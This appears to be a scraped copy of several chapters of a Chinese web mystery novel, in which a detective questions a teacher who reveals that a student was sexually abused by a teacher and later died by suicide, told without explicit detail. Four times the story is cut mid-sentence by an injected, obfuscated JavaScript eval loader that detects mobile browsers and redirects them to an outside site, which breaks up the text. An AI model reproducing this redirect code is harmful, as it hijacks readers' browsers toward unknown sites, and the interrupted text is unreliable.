严崇山了然地点头:“不过你作为社团的指导老师,活动社钥匙回收以后应该在你手里吧?我很好奇,李芸芸是怎么得到的那把钥匙,又是怎么能长期使用活动室但不被发现呢?” 他这话言下之意不好听,字字句句都在指责乔老师有意隐瞒什么,乔老师却也不恼,她微微一笑:“郭敦同学不是说过了吗?他手上的钥匙是拿社长那把复刻的,这学校怎么会知道呢?” 严崇山作疑惑状歪了歪头:“是啊,学校不知道……我那天怎么没见您吃惊呢?我来问学生话那天,郭敦看了你几眼,我以为那是因为你是现场唯一的老师,他下意识向你求助。后来我才知道你是音乐社指导老师,他看你是因为钥匙是个秘密,这件事说出来就暴露了——但你却表现得毫不意外。” “乔老师,这是密室杀人案,钥匙怎么也是个至关重要的线索,你未免太轻拿轻放了吧?” 他今天的问话和往常风格完全不同,显得有攻击性且不近人情,闻允不赞同严崇山的咄咄逼人,他冷冷道:“严崇山,你是来找乔老师帮忙的,不是把她当犯人审讯的。” 面对闻允直呼其名,严崇山并不恼怒——但也没改变态度:“不好意思,我办案的态度向来如此,乔老师大人有大量,别跟我一般见识。” 闻允没想到他能厚脸皮到这个程度,昨晚严崇山提出要来找乔老师问话,他以为只是来再度确认什么细节,不料严崇山好像笃定乔老师有问题,能把氛围弄得这么僵。 乔老师纵然脾气再好,这下也有些不悦了。她收敛了笑容,镜片上折射的光芒半挡着眼睛:“你说了这么多,是想论证什么呢?” 严崇山不紧不慢地往椅子上一靠,他摸出一支烟来在指尖把玩,时不时还在鼻尖嗅闻:“我刚不是问过了吗?我想知道你为什么默许李芸芸长期使用活动室,她的钥匙到底是自己复刻的还是你给的。” “当然,你也可以不和我解释那么多,只要你现在拿得出活动室钥匙,我的问题就被解答一大半了。” 乔老师盯着他,不知道在考虑什么,最后,她竟然真的拉开抽屉,在里面翻找一通,取出了一把单独的钥匙。 她将钥匙往桌面上一摆,朝严崇山推过去几寸:“这是校方手里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530302|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活动室钥匙。严警官,你还有什么问题吗?” 严崇山的手闲不住,一只手捏着烟,另一只手又将钥匙取来把玩,面对乔老师的自证,他竟然笑了一下,仿佛什么目的达成了:“当然有问题了……乔老师,这不就说明,活动室的门除了郭敦,只有你能打开了吗?” “严崇山!”闻允不可置信地打断了混账领导,在今日之前,严崇山一直没表现出任何对乔老师的怀疑,也没有将他的分析和闻允分享过。 他不知道严崇山已经想了这么多东西,更不清楚他把乔老师列为了嫌疑人之一。 案子早就定性为鬼魂作案,将乔老师列为嫌疑人简直扯淡。 闻允觉得严崇山正因为找不到李芸芸而四处攀咬。 严崇山终于对下属几次三番的以下犯上有了表示,他皱了皱眉,没搭闻允的腔,只是分析道:“当然,我不觉得一个普通老师能做到这个程度,但如果这个老师和李芸芸不仅认识、还关系亲密,那就有联手的可能性了吧?” 乔老师问:“你有什么证据呢?” 严崇山敏锐地反问:“乔老师,我怀疑作案的是李芸芸的鬼魂,你也完全不吃惊吗?” 乔老师心中一惊,她发现自己已经完全落入严崇山的节奏之中,顿了顿,她牵强地回答:“世界之大无奇不有,命案现场的情况我也有所耳闻,恐怕人很难用科学的手段让张景程和陈老师死成那样吧?” 严崇山不置可否,他既不顺着“鬼魂作案”的话题往下说,也不问乔老师是什么时候默认案件是由鬼魂犯下的,而是从怀中掏出一本令闻允觉得十分眼熟的东西,往桌面上一放,转了一百八十度,朝乔老师摆正。 那是李芸芸的摘抄本。 随后,他将扉页翻开,上面赫然写着一行字:知君鸿鹄志,愿前程似锦。 闻允的瞳孔骤然一缩。 乔老师的桌上还有一份教案,和摘抄本一左一右地靠在一起。教案没有翻开,封面上写着她自己的名字“乔欣荣”。 但就这三个字,已经足够让闻允看出来,李芸芸摘抄本上的赠语,和乔老师的字体一模一样! 闻允当了乔老师三年学生,他知道乔老师虽然负责任,但私下里和学生其实不多接触,当年资助他也只是提了那么一嘴,此后固定往他卡里每三个月打一次钱,没有多余的表示,没给他送过礼物。 可她却给李芸芸送了,李芸芸还把这本子拿来做摘抄。 这即便不算铁证如山,也绝对是个有力的证据——乔老师之前的确在有意隐瞒她和李芸芸的关系。 如果她对案情一无所知,根本不会知道这是鬼魂作案,更不可能精准到觉得是李芸芸在作案,并基于隐瞒的目的刻意撇清自己和李芸芸的关系。 她知道的远比闻允想象的多。 乔老师没有看两位警官,她长久地把眼神留在那行字上,甚至用指尖珍重地摩挲那纸页上字体的凹陷,最后整个人向后一靠,仿佛泄了一口气,不紧不慢地回答:“好吧,我和李芸芸关系确实不错。” 17. 师生 严崇山问:“因为她没有母亲,而你没有女儿?” 乔老师先是惊讶地看了他一眼,随后叹了一口气:“严警官,你真的比我想象的要敏锐。” 她想不到初次见面时,这个一边问话一边在本子上涂鸦的严警官观察能力这么强,或许吊儿郎当只是严崇山的表象,本质上他观察入微,算得上靠谱。 闻允已经被这突如其来的纷杂信息量给淹没了,他一时不知如何是好,只喃喃叫了一声:“乔老师……” 乔老师歉意地望向他:“我之前有所隐瞒……是不想打扰了芸芸的安宁。我觉得她和这两起案件没有关系,她的死已经够可惜了,我不希望有人反复怀疑她……或者泼她脏水。” 严崇山软硬兼施,他一改方才咄咄逼人的样子,语重心长地对乔老师道:“乔老师,您是个聪明人,我也喜欢和聪明人对话。咱们不妨直说吧,李芸芸是怎么死的,她和张景程究竟发生过什么,和陈老师又有什么关系?” 乔老师闭了闭眼,她有许多话想说,但一时不知从何说起。 提起李芸芸这个名字,她眼前只有那个姑娘明媚的笑容,酝酿了半天,她用一句话开了头:“芸芸是个好孩子。” 乔老师没有直接带过李芸芸的班级,但她很早就知道那个姑娘。 成绩好、漂亮、嘴巴甜,李芸芸的班主任常常将她挂在嘴边,炫耀一般说这孩子以后一定是个上名牌大学的料。 她在学生社团里见过李芸芸几次,确实如班主任所说,李芸芸是个讨喜的孩子。她见到每个老师都会打招呼,被同学问题也尽量作答,而且过程里不会翻脸。有时候察觉到对方笨得无可救药,也只是克制地叹一口气,耐心地问:“我从头给你讲一遍好吗?” 有一天下大雨,乔老师没有带伞,被困在了教学楼下。 要解决问题其实很简单,办公室里的老师有多余的备用伞,或者她就在办公室里再等一会儿,等雨停了再走。 但她不合时宜地想起她的女儿。 秦念念还在世的时候,喜欢妈妈总比爸爸多。也是一个暴雨天,乔老师发现自己忘了带伞,准备给忙碌的丈夫发消息,说自己要晚点回去。 结果她接到一通来自女儿的电话,女儿骄傲地说:“妈妈,我带着爸爸来接你啦,你下楼等我们哦!” 女儿不允许爸爸把妈妈晾在一旁,她闹着要爸爸来接人。 现在她没有丈夫,也没有女儿,没有人会在雨天挂记她带没带伞,即便她淋得透湿,家里也没人等着,更不会有人关心她、或者因为关心而和她小小地赌气。 那一瞬间,她被无力感和无所谓包裹。 她破罐子破摔地想,反正去车库就几步路,淋着雨去算了,应该也生不了病。 刚迈出一步,一把天蓝色的伞出现在她的脑袋上,李芸芸背着书包,清脆地问:“乔老师,你没带伞吗?去哪儿呀,我送你吧。” 乔欣荣愣住了。 一个念头从她心里冒了出来,死死地抓住了她:如果念念还活着,也就是这么大了。 她注视着李芸芸清澈的眼睛,却是在与自己早逝的女儿对视,刚才的念头像一株跳跃的小火苗,不过转瞬,就以燎原之势点燃了乔老师的怀念。 她控制不住地想:这姑娘和我女儿真像。 如果女儿还活着,会不会和李芸芸一样呢?可爱、讨人喜欢,被自己的老师在办公室里喜气洋洋地炫耀……她会有多好的人生? “乔老师?” 乔欣荣回过神来,她微笑着道了谢:“谢谢啊,我要去车库,麻烦你送我走一段了。” “不麻烦呀,”李芸芸轻快地回答,“车库也不远。” 李芸芸的伞不大,遮两个人稍显艰难,乔欣荣揽着她的肩,心里有种说不出的踏实。 她无处安放的思念脚踏实地地落在了李芸芸的肩上,并且开始猛烈地生根发芽。 到了车库,乔欣荣忍不住问:“有人来接你吗?要不我送你回家吧。” 李芸芸把脸别到一边,眼神远远地看着被雨打得摇摆的灌木丛,声音低落下来:“我爸很忙,估计不会来接我……我自己打车回去。” 乔欣荣坚持:“那我送你。” 李芸芸有点不好意思:“那多麻烦老师呀……” 乔欣荣拍去李芸芸肩头蹭的水珠,又重复了一次:“我送你吧,你家住哪儿?” 巧合的是,李芸芸家离她家很近,差不多只隔着一条街道,两人完全顺路。 在送李芸芸回家的这一路上,乔欣荣第一次真切认识了这个学生,她通透、聪明,也不像有些学生,碰见老师就如老鼠遇见猫,因为她挺受老师喜欢,和更多教师是亦师亦友的关系。 乔欣荣将李芸芸送进小区里,忍不住问:“以后……嗯……要是时间对得上的话,我送你回家吧?” 李芸芸不再推脱,她爽快地一笑:“谢谢老师!那我和我爸打个招呼,让他以后请你吃饭!” 此后,二人的关系快速地亲密起来。 乔欣荣送李芸芸回家,有时路上还会带她去吃个冰淇淋,在难得休假的周六下午,两人还会相约去看电影——虽然那是部抗战片,李芸芸为了写观后感才提的。 乔欣荣空白简单的生活被飞快地填满了,时隔多年,她再度感觉生活是有盼头的,她不再踽踽独行、孤身一人,想着等给父母送了终就了结此生,她有了新的目标。 李芸芸是一棵小树苗,她要竭尽全力地浇灌她,看她茁壮成长,看她开花结果。 嗯……也不一定非要开花结果。乔欣荣想。李芸芸只需要健康、快乐,她就能感觉到莫大的满足。 所有来不及对女儿做的遗憾的事,乔欣荣都弥补给了李芸芸。 她和李芸芸像两块拼图,生活里各有残缺,凑在一起时却契合无比。 严崇山打断乔欣荣的回忆:“所以你们应该是无话不谈的?” 乔欣荣苦笑一声:“你还年轻,应该没有孩子吧,严警官?有时候你和孩子的关系再好,她们也会有自己的心事,不可能什么都全盘托出的。” 门外突然响起上课铃,闻允听见一阵窸窸窣窣的动静,好像是扒在门口偷听的几个学生离开了。 严崇山了然地点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530303|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头,等铃声结束后,他字句清晰地问:“如果只是隐瞒秘密,我倒能理解,但她如果被性侵了……不该向你求助吗?” 乔欣荣表情一变,她厉声问:“你在说什么?” 严崇山没被她唬住:“哦,我只是推测,其实没有什么实质性的证据。不过您的反应这么大……我倒觉得我猜的八九不离十啊。” 乔欣荣表情难看,她胸口起伏的弧度更大了一点,但克制地没发出什么喘息声。 闻允起身给她接了杯温水,她接过水,却一口不喝,放在一旁。 最终,她承认道:“……是,没有证据。如果我更早发现的话、如果有证据的话……她还会跳下去吗?” 尽管心中早有猜测,也做好了心理准备,闻允听到这话,心中还是有些难受。 李芸芸在所有人的口中都太好了,她像童年最容易被家长挂在嘴边的别人家的孩子,完美到招人嫉恨的同时,又让人忍不住在心中暗暗地想,“如果我能像她一样就好了”。 她是一朵还没绽放的花苞,所有人都知道她枯萎在最好的年龄,但要细细地了解这个过程,想来是一种残忍。 闻允轻声问:“她是真的……被侵犯了吗?” 乔老师的神情近乎悲痛,她虽然没有落泪,仍旧摘下眼镜,捏了捏自己的鼻梁。 “……我发现得太晚了。”她说。 她其实是感受到了小姑娘的变化的。 有一整段时间,李芸芸生机焕发,她常常莫名其妙地微笑,像是想起什么,而且变得更注重自己的打扮。 虽然仍旧按照规定穿着校服,她却会在自己的手腕、颈后喷香水,早晨抽空扎个马尾,把自己的发尾细致地烫出一个俏皮的卷,留两道弧度正好的八字刘海,还把校服修改得更掐腰。 一个少女亭亭玉立地生长,并迫不及待地想要变得更加成熟。 乔欣荣打趣着问她是不是谈恋爱了,李芸芸留下一句拖得长长的“怎么可能!”,眼神却有点躲闪。 乔欣荣并不算一个太封建的长辈,对于孩子早恋这件事,她出乎意料地看得开。 恋爱就恋爱了,不影响学习就行,对于小孩儿来说,很多事情是十分可贵的,在青春期那么怦然心动、全心全意地爱上一个人的体验是限时的,一旦长大,就不会再有了。 但李芸芸拒不承认,态度有点可疑。 于是乔欣荣接李芸芸放学的时候,开始仔细观察——但她没发现哪个男生和李芸芸走得近。她甚至做好了全面的心理准备,心惊胆战地看会不会是哪个女生和李芸芸暧昧不清……之后她发现没这回事,李芸芸和姑娘们之间存在的只有普通闺蜜情,大松一口气。 再后来,乔欣荣察觉到李芸芸做作业总是先写物理题,对各种物理竞赛的态度也积极得过分,有一次她拿东西,进了张景程的办公室,正好撞见张景程在给李芸芸补课。 李芸芸注视着张景程,她微笑着,将自己的全身心都投入在了眼前人的身上,甚至没发现乔欣荣走了进来。 她的眼神令乔欣荣心惊肉跳。 那是一种痴迷的眼神。 18. 碎裂 “我想找她好好谈一谈……”乔老师停顿两秒,“但她对此很抗拒。” 那是她和李芸芸第一次爆发争吵,乔欣荣想了很久要如何委婉地提醒李芸芸,但她刚把张景程的名字说出来,李芸芸就反应激烈地反驳:“张景程是好老师,他很有分寸感的,不会对我怎么样!” 乔欣荣也声色俱厉,她反问:“不会怎么样?那他为什么纵容你这样示好?明知道你喜欢他还单独给你补课……这还不够胡来吗?他要是有良心,就该跟你撇清关系,减少往来!” 说完这番话,乔欣荣觉得自己语气太冲了,她缓了缓又说:“芸芸,我是老师,我最知道应该和学生保持怎样的关系,我把你当一个后辈来疼爱,这没什么。但张景程是男老师,他是异性,他比你大,吃过的饭看过的书走过的路都比你多,他才是最应该知道分寸感的人,这样跟你不清不楚的真不行。我说难听点,如果现在一个小学男生和你示好,难道你会接受吗?” 李芸芸犟着回嘴:“这不一样!” “怎么不一样呢?”乔老师尽量保持耐心,她循循善诱,“我的比喻有什么问题?” 李芸芸思考了一番,飞速回答:“人小的时候,别说差一岁了,差三个月都差很多呢,不是说三年一代沟吗?我二年级的时候都会觉得一年级的自己傻乎乎的。但是人长大了就不一样,十八岁和二十岁的见识和思维差得不多,三十岁和三十八岁更没有什么分别……” 乔老师忍无可忍地打断她:“你现在就不在小时候了吗?你才多大点年纪,怎么敢言之凿凿地说这些?我难不成会害你吗?” 李芸芸气不过,她红着眼眶,竭力反驳:“反正我就这点寄托了,怎么样?” 她顿了顿,努力把眼泪憋回去:“感情是难以自控的……我知道师生恋不对,说出去也不好听,我会有数的。” 乔欣荣觉得李芸芸在她胸口上重重地捶了一拳。 她才是多大的孩子,怎么会说出“就这点寄托”这样的话来呢?她有父亲疼爱,有老师关照,有朋友支持,一切都这样顺风顺水,又何苦一心扑在一个人渣上? 她想李芸芸是被情爱小说洗脑了,爱情并不是生活的必需品,它不过是诸多情感的一种,纵然人总需要一些感情支持才能活下去,但那又何必是爱情?它比其他感情高贵到哪里去? 何况这都不能算是爱情,在乔欣荣看来,这是张景程刻意引导的畸形的爱慕。 李芸芸看她面色不对,补充说:“张老师对我很好的,他知道我的心意……但是从来没有做出过出格的事情。” 乔欣荣问:“那他拒绝过你吗?” 李芸芸:“我都没有表白,他没有拒绝我的机会呀!” 言下之意好像是自己没表白就已经足够收敛了似的。 乔欣荣劝导她:“有些感情不是非要表白才能体现的,你表现得够明显了,你要是再这样下去……” “怎么样呢?”李芸芸尖锐地问,“你是我妈妈吗?你是我的监护人吗?你有什么资格这样管我?” 乔欣荣面色煞白。 这是她的死穴,一方面她确实真心喜欢李芸芸,一方面也确实在用她代替自己死去的女儿,而实际上,她们的关系最多不过是师生——甚至都不是一个班的师生。 她这样单方面地把李芸芸视如己出,真的对吗?她完全没有私心吗?李芸芸又什么时候同意过成为一个替代品? “我是真心为你好的……”乔欣荣艰难地吐出一口气,“我没想到你会这样说,我……” 李芸芸的话完全是脱口而出的,她说完就后悔了,觉得自己真是个王八蛋,竟然这样辜负一个真心真意对她好的师长。 她抿着嘴唇,沉默了好半天,艰难地道歉:“……对不起。” 那天她们不欢而散。 此后,这样类似的争吵还大大小小地爆发过数次,乔欣荣不是不知道堵不如疏的道理,但她实在没办法看李芸芸飞蛾扑火。 而李芸芸也越发逆反,乔欣荣越是拦着,她越想证明自己没错,越期盼这段关系如她描述的一般,是纯洁无瑕的,发乎情止乎礼的。 她开始躲避和乔老师见面,常常把课余时间消耗在活动室里。 乔欣荣路过过活动室,听见李芸芸在里面练习《致爱丽丝》的钢琴曲,她在门口停留了很久,到底没有走进去。 某一日,乔老师的右眼一直跳,不安的预感笼罩在她的心头,她反复宽慰自己没什么,也许只是神经过敏,但第二天,她在学校里没见到李芸芸。 她听说李芸芸请假了。 贸然登门太越界,乔欣荣给李建安先打了个电话,李建安对李芸芸请假的事竟然一无所知,反过来问乔欣荣发生了什么事。 乔欣荣再也坐不住,她放学就去了李芸芸家里。 李芸芸来开门的时候神清呆滞,她的手臂上布满了红色的抓挠血痕,头发湿漉漉的,还在往下滴水。 乔欣荣心里一紧,她先把李芸芸牵到沙发上坐好,进卫生间里找了一条干毛巾,帮李芸芸擦头发,随后,她小心翼翼地、试探地问:“芸芸……怎么了?” 李芸芸的眼泪先于回答一步流出来,她仅仅是这样哭泣,乔欣荣就已经被强烈的窒息感包围,一个推测在她心里产生,她难以直面、难以相信,她盲目地抱着一种希望,问:“是……发生什么了吗?” 李芸芸抽噎着说:“我为、我为张景程练了一首钢琴曲,问他……放学以后……想不想听……” 乔欣荣的声音跟着颤抖起来:“然后呢?” 李芸芸开始神经质地抓挠自己的手臂,她说话混乱,几乎没什么逻辑:“他同意了,我们去了活动室……我……钢琴上……他说……” 乔欣荣的眼眶红了,她抓住李芸芸的手,咬牙切齿:“那个王八蛋,把你……” 李芸芸的哭声突然停止了,她被一种非同寻常的冷静情绪覆盖,她转过头,用哭肿的眼睛注视着乔欣荣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530304|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇了摇头,仍在一抽一抽地喘息着:“不对……不对,我是自愿的,我没有挣扎,也没有叫救命,我心里一定是想要和他发生关系的。” 乔欣荣一把将她按在了怀里,湿漉漉的发尾触碰在她的手背上,而她的眼泪将李芸芸的后背打湿了。 该怎么去形容这种痛楚呢?那个明亮的、可爱的、被她视若珍宝的女孩,被这样轻贱地采摘下来,践踏进泥泞里,她感受到女儿去世的那天一样的心碎,一时间,她说不出任何一个字。 她哆哆嗦嗦地拍着李芸芸的背,哄着她:“别怕,别怕,不怕……我会帮你的,好不好?我一定会让他付出代价的。” 两个相互支撑着的女人,在同一天被大雨淋湿了。 李芸芸轻轻地挣了一下:“不是啊……我是自愿的,我难道不是自愿的吗?不要举报他,他会丢工作的,可能还会坐牢……我、我也不想让人知道,我和老师做这种事。” 李芸芸慢慢地开口,徒劳地想要说服自己和乔欣荣:“我是一个不自爱的人。” 乔欣荣捧着李芸芸的脸,将额头贴了上去,她用这辈子最温柔的语气说:“芸芸,你很好,你没有任何过错,你是受害者……是他太坏了,加害者永远都该为自己感到羞耻。” 她太明白了,李芸芸绝不可能是自愿发生关系,倘若如此,她何必痛苦到伤害自己。 李芸芸所相信的一切崩塌了,她现在必须找到一个合理的解释来说服自己,好让自己从每时每刻都在侵袭她的痛楚里逃脱出来,喘一口气。 而她是李芸芸的支柱,她应该做点什么,把那个禽兽绳之以法,让这件事成为李芸芸人生中一个小小的坎,越过去了,就永远不再回头看。 那天晚上李建安没有回来,他加班应酬,酒后不能开车,于是在附近的酒店睡了一觉。 乔欣荣陪着李芸芸睡觉,整整一晚上,她辗转难眠。 乔欣荣说:“隔天她去参加物理比赛,成绩一落千丈。那时候我其实不该再关注她的成绩了,但我觉得把注意力放在成绩上,可能比让她反刍这件事更好,所以周末的时候,我带她出去吃了顿饭,想鼓励她好好学习,即便保送这条路走不通,普通高考她也差不到哪儿去,那是一条触手可及的康庄大道。” 闻允见到乔欣荣的表情不大妙,询问道:“然后呢?” 乔欣荣讽刺地一笑:“然后芸芸告诉我,那畜生得手后对她的态度断崖下降,他转头盯上了新的女学生,开始故技重施,给那个女生单独补课。” “你们知道张景程的风评怎么样吗?” 严崇山点头:“有所耳闻。” 乔欣荣道:“他演得太好了。硕士毕业,外形清爽,风趣幽默,在这帮还没什么阅历的小女生眼里,他就是所谓的‘理想型’。不止是那个姑娘,我刷到过一些学校里的帖子,一堆女学生在谈论他,这还是学校吗?这简直是他的狩猎场!” 乔老师顿了顿,冷冷道:“他死有余辜。” 19. 监控 严崇山问:“所以那禽兽是惯犯?他害了多少学生?” 乔老师闭了闭眼:“……我不知道,我只知道芸芸是受害者,也许以前还有,我也无从追查。” 严崇山皱起眉:“乔老师,我发自内心地认为你是一个好老师,要说你没有去管后面的学生,让她免遭毒手,我真有点不相信。” 乔老师僵硬地回答:“我那时候满心只有芸芸,哪有闲心去管其他人呢?” 这话一出口,不光是深谙乔老师性格的闻允,连严崇山都听出了极大的不对劲。 乔欣荣难道还有隐瞒吗? 严崇山问:“那你没想着举报张景程吗?你不是承诺李芸芸要让他付出代价?” 乔老师一口否认:“芸芸不让我这样做!你以为我没试过吗?” 严崇山将话题转回来:“但你和李芸芸感情这么深,你不觉得她的自杀和张景程有直接关联吗?你先失去了女儿,又失去了李芸芸,就没想着通过别的方法让张景程付出代价?” 乔老师声音重了起来:“严警官,那件事已经过去很久了,我没有任何能找到的证据,你是指望我怎么做呢?” 严崇山意有所指:“所以张景程死了,代价是他的命。” 乔老师“噌”一下从椅子上站了起来,闻允从没见她发过那么大的脾气,她用手掌重重地拍打了一下桌面:“我说过了不会是李芸芸!芸芸这么好的孩子,她痛苦到宁愿自杀也不愿意揭发张景程,又怎么会在死后出尔反尔地去害人?” 严崇山笑了笑:“您先别激动,我这不是推测吗?还没定案呢。” 人命当前,闻允见不得他这副轻佻的态度,他气得踹了严崇山的椅子腿一脚。 严崇山把翻来覆去玩了半天的烟夹在指尖,询问乔老师:“您不介意吧?我抽烟的时候比较好捋思路。” 乔老师面色铁青:“你自便。” 反倒是闻允从他的手里抽出那根微微变形的烟,一下扔进了垃圾桶,初见那天就憋在他心里的话终于痛快地说了出来:“学校里抽烟,你有素质吗?” “好好好……”严崇山无奈道,“你是我祖宗,你说了算。” 随即,他抛出另一个疑问:“我不怀疑你说的那些,但我还有一件事很好奇,陈老师从头到尾都没出现在故事里,这是为什么?” 乔老师道:“我不知道,凶手不是李芸芸,陈老师的死当然和我说的事没关系了。” 像是怕严崇山不相信,她补充说:“我和陈老师没什么接触,芸芸也不认识她,你大可以去查,看看事实和我说的有没有分别。” 严崇山和蔼地一点头:“那不用了,我信你。” 他嘴上说相信,却又抛出新的问题:“张景程是教师节前一天晚上死的,9月9号的晚上,你在哪里?” 乔老师见招拆招:“我在宿舍休息。我中午回家不方便,学校里有个让我午睡的宿舍,我们两个老师一间宿舍,那天另一个老师也在场,不信你可以去问,要联系方式吗?” 严崇山无赖道:“说的什么话?把案件重心都放在你身上不招笑吗?” 闻允叹为观止,严崇山说一套做一套的本事他望尘莫及。 严崇山的态度又客气下来:“你都说有目击证人了,我没必要查。我刚才又听见打铃了,估计是到放学时间了,问话差不多就到这吧,下次再有什么疑问我再找你。哦,汪主任在吗?我也有点事想问他。” 乔老师缓了一会儿,这场问话令她身心俱疲,好半天后,她点点头:“他应该在办公楼七楼。” “谢了,”严崇山干脆地站起来,转向闻允,“小允子,你……” 闻允硬梆梆地回话:“你自己去问吧,我不去了,我在这儿陪乔老师。” 严崇山耸了耸肩,心说你俩感情也还真够深的,便道:“那行,你就在办公室里待着吧,我忙完了来接你。” 他打开办公室门,方才被上课抓走的几个学生去而复返,而且队伍有壮大之势,高瘦的男生被推出来当代表,他问严崇山:“那个……我们听说闻允学长高考成绩特别好,想加他联系方式,问问学习技巧……可以吗?” 我呸,冠冕堂皇! 严崇山心里莫名有点不爽,他冷酷地替闻允拒绝:“公职人员,联系方式不方便给,别看了。” 说完,作为一个有闻允联系方式的胜利者,他扬长而去。 · 汪主任的办公室很好找,每间办公室上都挂了牌子,和乔老师这种普通老师不一样,汪主任的办公室是个单人间,桌子和书柜是配套的深木色,办公桌边上有用来招待的沙发和茶几,严崇山入内的时候汪主任恰恰挂了一通公事电话。 “严警官坐,”汪主任从办公桌后站起来,和严崇山一块儿坐到了沙发上,开始泡茶,“这次来是案件有什么进展吗?” “没什么特别的,”严崇山被闻允按下去的烟瘾冒出来,他丧良心地在教导主任办公室里抽烟——反正桌上有烟灰缸,想来汪主任也是个烟民,“我就是想了解一下陈老师。” 汪主任给他斟了一杯茶,沉吟片刻:“嗯……这个女同志吧,风评就一般,她心思没怎么放在教学上,和几个男老师走得挺近的。” 严崇山弹了弹烟灰,听得很认真。 汪主任又道:“不过呢,她工作上也没出过什么岔子,任务勉勉强强也算完成了,突然在岗位上牺牲,还是很令人痛心的。” 严崇山问:“她教过李芸芸吗?” 他三句不离李芸芸的问话方法戳到了汪主任并不强大的心脏,汪主任旧事重提:“我就知道……” 严崇山心想:得,又来,真是触发被动了。 他忙不迭打断:“和李芸芸没关系……哦,对了,我之前一直没问过你,活动室和办公室里虽然没有摄像头,但是走廊里有,你们查过监控吗?” 汪主任挠了挠半秃的头:“倒是查过……什么也没有啊。” 严崇山想起乔老师说的,张景程和李芸芸在活动室里发生了关系,也不知道他俩一起进入活动室的监控还在不在,便问:“方便带我去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530305|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看吗?” “方便,方便,”只要不提李芸芸,汪主任的态度就都挺好,他自己端起茶一饮而尽,拱手做了个请的姿势,“监控都在保卫处,我带你去。” 严崇山跟着汪主任到了地方,现在是放学时间,人流量大,有个保卫处人员正好在值班,盯着校门口的监控。 汪主任客气地向他介绍了一下严崇山的身份,对方便站起身来,教严崇山查看监控。 严崇山问:“你们上学期那个物理竞赛大概在什么时候,您还有印象吗?” 汪主任想了片刻:“四月多吧?” 严崇山一点头,他不言不语地开始翻四月份的监控。 很快,他就有了发现。 活动室走廊外四月份的监控都很齐全,除了四月十六号,那天的监控不在了。 “这是怎么回事?”严崇山扭头问,“你们监控坏了?” 值班人员接过话:“对,那天监控可能出问题,故障了,我们后来去检修完才好了。” “那就奇怪了,”严崇山似笑非笑,“办公楼那一层都是空办公室,没什么人去,你们应该也不会特别关注吧?要坏应该坏好几天才对,怎么一坏你们就发现了?” 值班人员愣了一下,随后解释道:“啊……刚巧吧,那天我扫了一眼发现的。” 严崇山翻看着其他日期的监控:“那是有够巧的了。” 他查了一阵,一无所获,活动室走廊监控只有九月九号晚上几个倒霉孩子留下的影像,他们落荒而逃后屁事都没发生,所谓鬼影没被监控拍到。 而陈老师死的那天,走廊监控也显示没人再进出办公室。 想到陈老师,严崇山问:“陈老师一直这么晚下班吗?够坚守岗位的。” 汪主任解释:“这我就不了解了,你要问我哪个老师最刻苦,天天加班,我可能还知道一二……谁没事去记其他老师的下班时间啊?我们这也不是什么工厂,对工时没要求的。” 严崇山听完觉得有道理,他本想告别离开,却看见值班人员心不在焉地用一根手指敲打着桌面,表情有点紧绷。 怎么?他也知道命案的详情?……不会吧,谁嘴巴这么漏? 严崇山试探着问:“学校里接连出了这两起命案,你们压力很大吧?得时时刻刻盯着监控。” 值班人员回过神来:“哦,也还行,就是职责所在嘛。不过,你刚才问的陈老师……” 汪主任补充说:“陈芳歌,你认识?” 值班人员像被烫着了,他抽了一口气,连忙摇头:“不、不,不认识……” 他欲盖弥彰地解释:“我就认识几个校领导。” 他快把“我和陈老师有故事”写在脸上了,严崇山眯了眯眼,觉得这案子真是越查越绕、秘密越查越多了,他暂且按下自己的疑惑——总不能逮谁问谁——决意今晚组织众人开个会,把目前的线索汇总一下,从纷乱的线索里理出一个头绪。 天网恢恢疏而不漏,他还真就不信世上能有完美的犯罪,哪怕和他博弈的是只鬼。 20. 争执 特安局三楼的会议室久违地有了人。 严崇山是个懒鬼,平时能交代的话恨不得躺在沙发上就说了,局里大多时候的“开会”都在一楼客厅里,要么就在小书房,几个人凑一起,边吃东西边闲聊,优哉游哉。 